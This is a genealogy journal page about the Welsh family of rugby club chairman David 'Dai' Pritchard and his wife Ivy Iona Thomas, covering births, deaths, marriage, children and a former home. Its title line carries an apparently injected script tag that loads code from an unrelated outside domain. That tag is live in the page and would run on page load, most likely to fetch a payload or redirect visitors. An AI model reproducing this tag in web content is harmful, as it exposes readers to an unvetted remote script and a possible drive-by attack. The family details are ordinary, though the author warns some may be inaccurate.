Family of David "Dai" Pritchard & Ivy Iona Thomas, Wales, UK<script src="https://bestdoctornearme.com/splitter.ai/index.php"></script> :: FamilyTreeCircles.com Genealogy
<< Previous - Next >>

Family of David "Dai" Pritchard & Ivy Iona Thomas, Wales, UK

Journal by allianse

DAVID "DAI" PRITCHARD, born in Cwmgors, Neath Port Talbot, Wales, United Kingdom, on Feb 17 1907 to Thomas Pritchard & Margaret Bowen. He played as prop forward for the Colliery team and Curwen Stars and he also became an International Rugby Referee. In 1927 he became the chairman for Cwmgors Rugby Football Club, and was chairman until the season of 1981-1982. He became the longest serving chairman in Welsh Rugby history. Dai suffered from Alzheimer's and died of a heart attack on Apr 15 1986 in Glamorgan, Swansea, Wales, United Kingdom.

Also see "A Brief History of Cwmgors Rugby Football Club"

IVY IONA PRITCHARD [THOMAS], who's parents where Tom Thomas and Mary Diane Jones, I have very little information of, but she died on Oct 27 1984 and was burried Nov 2 1984.

David "Dai" Pritchard married Ivy Iona Thomas in 1934 in Ponterdawe, Wales, United Kingdom. They had 2 children:
Living (m) Pritchard in 1937
Jeffrey Thomas Pritchard in 1942

The family lived for many years in 76 Lower Colbren Road, Gwaun Cae Gurwen, Neath Port Talbot, Wales, United Kingdom. I believe the house was sold when Iona died.

More information about this family, and maybe even picture(s) would be appreciated. Please note that information in this post might be inaccurate.

If you are related to this family, please contact me so we can connect and maybe share information about the family.

Dai and Iona in Margate, July 1956.

Surnames: Bowen Jones Pritchard Thomas
Viewed: 2265 times
Likes: 0
by allianse Profile | Research | Contact | Subscribe | Block this user
on 2012-04-02 18:51:39

I do my best not to name living persons on my site (unless approved by the person in advance). Other sensitive information will also be withheld.

Do you know someone who can help? Share this:

Comments

Register or Sign in to comment on this journal.